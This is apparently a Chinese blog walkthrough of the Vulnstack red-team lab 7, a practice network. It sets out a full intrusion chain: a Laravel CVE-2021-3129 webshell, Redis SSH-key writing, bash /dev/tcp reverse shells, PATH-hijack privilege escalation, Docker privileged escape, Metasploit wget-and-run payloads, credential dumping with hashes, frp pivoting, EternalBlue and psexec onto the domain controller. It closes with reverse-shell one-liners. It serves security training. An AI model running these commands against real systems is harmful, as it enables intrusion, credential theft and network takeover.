ATK&CK红队评估实战靶场(七)
source link: https://fanygit.github.io/2023/01/05/ATK&CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E5%AE%9E%E6%88%98%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%83%EF%BC%89/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
ATK&CK红队评估实战靶场(七)
靶机详细信息
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
域用户账户和密码
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达OA账户:
admin:admin657260
首先,创建一张VMnet1
的网卡,将网段设置为192.168.1.0
,用于模拟外网环境,同时将外网靶机Ubuntu(web1)
和kali
应用该网卡。
然后再按照以下文档来配置
在Vmware中新增两个虚拟网卡
VMnet8
、VMnet14
。VMnet8
设为默认的NAT
模式,IP段设为192.168.52.0/24
;VMnet14
设为仅主机模式,IP段设为192.168.93.0/24
:将VMnet8作为第二层网络的网卡,VMnet14作为第三层网络的网卡。这样,第二层网络中的所有主机皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。
DMZ区域:
- 给Ubuntu (Web 1) 配置了两个网卡,一个配置
VMnet1
可以对外提供服务;一个连接在VMnet8
上连通第二层网络。第二层网络区域:
- 给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在
VMnet8
上连通第二层网络,一个连接在VMnet14
上连通第三层网络。第三次网络区域:
给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在
VMnet14
上连通第三层网络。靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务:
DMZ区的 Ubuntu 需要启动redis和nginx服务:
- sudo redis-server /etc/redis.conf
- sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
- sudo iptables -F
第二层网络的 Ubuntu需要启动docker容器:
- sudo service docker start
- sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达OA:
- C:\MYOA\bin\AutoConfig.exe
攻入内网:web1
kali
的IP:192.168.1.6
nmap -sn 192.168.1.1/24
得到第一层靶机的IP192.168.1.5
sudo nmap -sS -Pn -sV -v -p 1-65535 192.168.1.5
开放了22
、80
、81
、6379
端口
访问80
访问 81
可从页面中得到 站点的指纹 Laravel v8.29.0
通过搜索引擎,可以得知,该版本存在CVE-2021-3129
漏洞利用:CVE-2021-3129 phar反序列化
首先下载 CVE-2021-3129
利用工具
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
python3 .\laravel-CVE-2021-3129-EXP.py 'http://192.168.1.5:81'
注意 url参数后面不能跟/
,否则会没有返回结果 。
利用脚本已经成功写入了哥斯拉的木马,但是这里用3.0
以上的版本去连接会失败,我用的是2.96
。
连接成功,方便后续使用。
Redis未授权漏洞
发现目标主机开启了6379
端口,尝试使用redis-cli
进行连接
redis-cli -h 192.168.1.5
无需密码,直接连接成功,存在redis未授权漏洞
尝试通过 redis
写 ssh
公钥,然后使用私钥去连接。
redis 写入 ssh 公钥 getshell
首先在kali中生成公钥
ssh-keygen -t rsa
将公钥导入1.txt 文件中
(echo -e "\n\n"; cat /home/kali/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt
将1.txt 文件内容写入目标主机的redis缓冲中
cat 1.txt | redis-cli -h 192.168.1.5 -p 6379 -x set 1
在redis中操作
redis-cli -h 192.168.1.5
get 1
config set dir /root/.ssh #设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys #设置保存文件名为authorized_keys
save #将数据保存在目标服务器硬盘上
ssh连接
ssh -i /home/kali/.ssh/id_rsa [email protected]
成功连接上,并且拿到了靶机root权限。
主机信息收集
ifconfig
发现内网网段192.168.52.0
查看系统版本
uname -a
上传64位fscan
扫描内网
使用 scp
scp -i /home/kali/.ssh/id_rsa /home/kali/Desktop/fscan/fscan_amd64 [email protected]:/tmp
./fscan_amd64 -h 192.168.52.1/24
(icmp) Target 192.168.52.10 is alive
(icmp) Target 192.168.52.2 is alive
(icmp) Target 192.168.52.20 is alive
(icmp) Target 192.168.52.30 is alive
[*] Icmp alive hosts len is: 4
192.168.52.10:22 open
192.168.52.20:8000 open
192.168.52.30:8080 open
192.168.52.10:6379 open
192.168.52.30:139 open
192.168.52.30:445 open
192.168.52.20:22 open
192.168.52.30:135 open
192.168.52.10:81 open
192.168.52.10:80 open
[*] alive ports len is: 11
start vulscan
[*] WebTitle: http://192.168.52.10 code:502 len:584 title:502 Bad Gateway
[+] Redis:192.168.52.10:6379 unauthorized file:/home/web/dump.rdb
[+] Redis:192.168.52.10:6379 like can write /root/.ssh/
[+] Redis:192.168.52.10:6379 like can write /var/spool/cron/
[*] NetBios: 192.168.52.30 PC1.whoamianony.org Windows 7 Professional 7601 Service Pack 1
[+] 192.168.52.30 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[*] WebTitle: http://192.168.52.30:8080 code:200 len:10065 title:通达OA网络智能办公系统
[+] InfoScan:http://192.168.52.30:8080 [通达OA]
[+] http://192.168.52.30:8080 tongda-user-session-disclosure
[*] WebTitle: http://192.168.52.10:81 code:200 len:17474 title:Laravel
[*] WebTitle: http://192.168.52.20:8000 code:200 len:17474 title:Laravel
[+] InfoScan:http://192.168.52.20:8000 [Laravel]
[+] InfoScan:http://192.168.52.10:81 [Laravel]
[+] http://192.168.52.30:8080 poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload
[+] http://192.168.52.20:8000 poc-yaml-laravel-cve-2021-3129
[+] http://192.168.52.10:81 poc-yaml-laravel-cve-2021-3129
通过扫描结果可以知道存活了四个ip,其中192.168.52.2
为网关,192.168.52.10
为当前靶机,另一台靶机192.168.52.20
,并且开放了8000
、22
端口,通过查看当前靶机的nginx
配置,可发现,当前靶机开放的81
端口就是192.168.52.20
的8000
端口,通过nginx反向代理到了当前靶机。
还有一台为192.168.52.30
,开放了8080
、139
、135
、445
端口,操作系统为windows7
,并且存在MS17-010
和tongda-oa-v11.9-api.ali.php-fileupload
的漏洞。
cat /etc/nginx/conf.d/81.conf
在前面,我们已经通过CVE-2021-3129
漏洞拿到192.168.52.20
webshell权限。
接下来,通过该webshell继续向内网渗透。
二层内网渗透:web2
方便后续操作,首先在哥斯拉中执行反弹shell命令,将shell反弹到Kali中
kali监听
nc -lvnp 4444
哥斯拉中执行
bash -c 'exec bash -i &>/dev/tcp/192.168.1.6/4444 <&1'
查看系统版本
uname -a
Linux内核版本Linux version 4.4.0-142-generic
,脏牛提权漏洞存在于Linux内核 >= 2.6.22
,当前靶机不存在脏牛提权漏洞。
尝试查看具有suid
特殊权限的文件来进行提权
find / -perm -u=s -type f 2>/dev/null
发现一个可疑文件 shell
执行shell
,发现其实就是以root
用户调用了ps
命令。
提权思路,如果我们构造一个可以反弹shell的ps
文件,然后再改变$PATH
环境变量,让shell
执行我们构造的ps
,不就可以拿到root权限了嘛。
环境变量劫持提权
首先创建一个可以反弹shell的ps
文件,因为我们通过redis
写ssh
公钥,已经拿到了Ubuntu
靶机的权限,并且Ubuntu
靶机与当前正在攻击的靶机在同以网段,所直接将shell反弹到Ubuntu
靶机上。
在/tmp
目录下执行
echo "bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/4444 <&1'" > ps
赋予可执行权限
chmod 777 ps
查看环境变量
echo $PATH
将tmp
目录添加到环境变量中
export PATH=/tmp:$PATH
在Ubuntu
靶机中进行监听
nc -lnvp 4444
回到当前靶机中执行
./shell
左边是监听,右边执行,成功提权到root。
Docker特权逃逸
发现好多命令根本无法执行,查看是不是在docker
中
ls -alh /.dockerenv
cat /proc/1/cgroup
发现存在于Docker
环境中
如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
创建一个目录用于挂载
mkdir /tmp/test
mount /dev/sda1 /tmp/test
ssh密钥写入
首先生成密钥
ssh-keygen -f rsa
在Ubuntu1
使用python
开启 http
服务监听
python3 -m http.server
在ubuntu2
中
先进入到/tmp/test/home/ubuntu/.ssh
目录下,然后使用curl
下载rsa.pub
公钥
cd /tmp/test/home/ubuntu/.ssh
curl -O http://192.168.52.10:8000/rsa.pub
将rsa.pub
重命名为authorized_keys
mv rsa.pub authorized_keys
然后回到Ubuntu1
中,在刚刚生成的rsa
目录下连接
ssh -i rsa [email protected]
成功连接。
到目前为止,已经成功拿下web1
和web2
两台靶机了,接下来使用MSF
对两台靶机进行权限维持,方便后续渗透内网。
上线web1靶机
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.6
set lport 6789
exploit
得到一条命令
wget -qO pwkzg9Z9 --no-check-certificate http://192.168.1.6:8080/79LajMacnMhyY5R; chmod +x pwkzg9Z9; ./pwkzg9Z9& disown
将该命令放在web1
的shell
中执行
成功上线web1
靶机
route add 192.168.52.0 255.255.255.0 1
上线web2靶机
生成Linux 反弹shell
msfvenom -p linux/x64/meterpreter/bind_tcp lport=9988 -f elf > shell9988
将 shell9988 上传至 web1
靶机中
upload /home/kali/shell9988 /tmp
MSF开启监听
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.52.20
set lport 9988
exploit
然后将生成的木马上传至web2
中执行
在tmp
目录下用python
开启http
监听
python3 -m http.server
在web2
中下载shell9988
并执行
MSF中成功上线
二层内网渗透:pc1
[*] NetBios: 192.168.52.30 PC1.whoamianony.org Windows 7 Professional 7601 Service Pack 1
[+] 192.168.52.30 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[*] WebTitle: http://192.168.52.30:8080 code:200 len:10065 title:通达OA网络智能办公系统
[+] InfoScan:http://192.168.52.30:8080 [通达OA]
[+] http://192.168.52.30:8080 poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload
在通过fscan
对内网网段192.168.52.0
进行扫描的时候,还发现一台IP地址为192.168.52.30
的windows主机,并且存在永恒之蓝和通达的文件上传漏洞,MSF已经添加了路由,所以我们在Kali
上的请求能够到达192.168.52.0
网段,接下来尝试通过该漏洞拿到权限。
永恒之蓝漏洞利用(失败)
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.52.30
set payload windows/x64/meterpreter/bind_tcp
但是靶机蓝屏了(尝试多次依旧如此)
换一种方式。
通达 api.ali.php-fileupload 漏洞利用
我们最开始在MSF
上开起了socks5
代理服务,这里直接在物理机上挂代理,然后访问8080
端口
访问 192.168.52.30:8080
通过扫描得知存在 tongda-oa-v11.9-api.ali.php-fileupload
漏洞
接下来使用LiqunKit_1.5
设置代理直接对漏洞进行利用
使用蚁剑连接(需要配置代理)
拿到的直接就是system
权限
接下来将该靶机上线到MSF中
首先创建shell
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8899 -f exe > 8899.exe
MSF开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.30
set LPORT 8899
将shell上传到靶机中
在命令终端上执行
MSF收到shell
主机信息收集
查看网卡信息
ipconfig /all
发现得到域名whoamianony.ory
发现内网网段 192.168.93.0
,当前靶机ip为192.168.93.20
查看域内所有用户列表
收集域信息 需要把进程迁移到域用户执行的进程中
net group /domain
查看域成员计算机列表
net group "Domain Computers" /domain
查看所有域用户
net group "Domain Users" /domain
查看域管理员用户
net group "domain admins" /domain
收集用户登录口令
load kiwi
creds_all
用户:bunny
域:WHOAMIANONY
NTLM:cc567d5556030b7356ee4915ff098c8f
密码:Bunny2021
用户:Administrator
域:WHOAMIANONY
NTLM:cc567d5556030b7356ee4915ff098c8f
密码:Whoami2021
内网信息收集
直接上传fscan
upload /home/kali/Desktop/fscan/fscan64.exe c:/
fscan64.exe -h 192.168.93.1/24
(icmp) Target 192.168.93.10 is alive
(icmp) Target 192.168.93.20 is alive
(icmp) Target 192.168.93.30 is alive
(icmp) Target 192.168.93.40 is alive
[*] Icmp alive hosts len is: 4
192.168.93.40:139 open
192.168.93.30:139 open
192.168.93.10:8000 open
192.168.93.20:8080 open
192.168.93.40:445 open
192.168.93.30:445 open
192.168.93.20:445 open
192.168.93.20:139 open
192.168.93.40:135 open
192.168.93.30:135 open
192.168.93.20:135 open
192.168.93.10:22 open
192.168.93.30:88 open
[*] alive ports len is: 14
start vulscan
[+] 192.168.93.20 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[*] WebTitle: http://192.168.93.20:8080 code:200 len:10065 title:通达OA网络智能办公系统
[*] NetInfo:
[*]192.168.93.30
[->]DC
[->]192.168.93.30
[+] 192.168.93.40 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[+] InfoScan:http://192.168.93.20:8080 [通达OA]
[*] NetBios: 192.168.93.30 [+]DC DC.whoamianony.org Windows Server 2012 R2 Datacenter 9600
[+] 192.168.93.30 MS17-010 (Windows Server 2012 R2 Datacenter 9600)
[*] NetBios: 192.168.93.40 PC2.whoamianony.org Windows 7 Professional 7601 Service Pack 1
[+] http://192.168.93.20:8080 tongda-user-session-disclosure
[*] WebTitle: http://192.168.93.10:8000 code:200 len:17474 title:Laravel
[+] InfoScan:http://192.168.93.10:8000 [Laravel]
[+] http://192.168.93.20:8080 poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload
[+] http://192.168.93.10:8000 poc-yaml-laravel-cve-2021-3129
通过fscan
扫描结果可以知道,内网存活四台靶机,且192.168.93.10
和192.168.93.20
都已经被攻陷,192.168.93.30
为域控,存在MS17-010
漏洞,操作系统为Windows Server 2012 R2
,域成员服务器192.168.93.40
,也存在MS17-010
漏洞,操作系统为Windows 7 Professional 7601 Service Pack 1
。
三层内网渗透准备
我们已经拿下了二层网络的所有靶机,接下来,我们需要在二层的基础上拿下三层的所有靶机,通过上传fscan
扫描出三层靶机都存在永恒之蓝漏洞,可以使用MSF自带的添加路由功能来使MSF的数据包能达到192.168.93.0
网段,但是利用过程中,极其不稳定很不容易上线,所以,这里通过frp
工具来实现一个二层代理。
首先在kali
中配置 frps.ini
[common]
bind_port = 7455
在web1
靶机中 分别配置 frpc.ini
和frps.ini
frpc.ini
[common]
server_addr = 192.168.1.7
server_port = 7455
[http_proxy]
type = tcp
local_ip = 192.168.52.10
local_port = 46075
remote_port = 46075
frps.ini
[common]
Bind_addr = 192.168.52.10
bind_port = 7455
在web2
靶机 配置 frpc.ini
[common]
server_addr = 192.168.52.10
server_port = 7455
[plugin_socks]
type = tcp
remote_port = 46075
plugin = socks5
最后代理地址
socks5:192.168.1.7:46075
通过 proxychains4+nmap
扫描 192.168.93.30
的445
端口,看是否成功
proxychains4 nmap -p 445 192.168.93.30
三层内网渗透:pc2
永恒之蓝漏洞利用
接下来,另起一个MSF
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.93.30
setg proxies socks5:192.168.1.7:46075
load kiwi
creds_all
抓取到了域用户moretz
的密码
moretz:Moretz2021
三层内网渗透:域控服务器
永恒之蓝漏洞利用(失败)
尝试进行永恒之蓝漏洞利用
利用失败了,猜测应该因为开启了防火墙。
在之前,我们收集到了域管理员用户的账号密码administrator:Whoami2021
接下来,通过wmiexec.py
执行命令来关闭防火墙
proxychains4 python3 wmiexec.py "administrator:[email protected]"
netsh advfirewall set allprofiles state off
这里虽然有报错,但是已经是成功关闭了的。
再次尝试利用
还是无法利用,经过多次尝试,会导致域控服务器重启。
利用psexec传递拿下DC
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set smbpass Whoami2021
set smbuser Administrator
set payload windows/meterpreter/bind_tcp
exploit
成功拿下域控
最后,所有靶机的 sessions
相关知识点
Linux 反弹shell 命令
bash -c 'exec bash -i &>/dev/tcp/192.168.1.9/8888 <&1'
用python获得一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
https://www.cnblogs.com/chen-w/p/16194101.html
https://blog.csdn.net/weixin_62334252/article/details/125384701
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK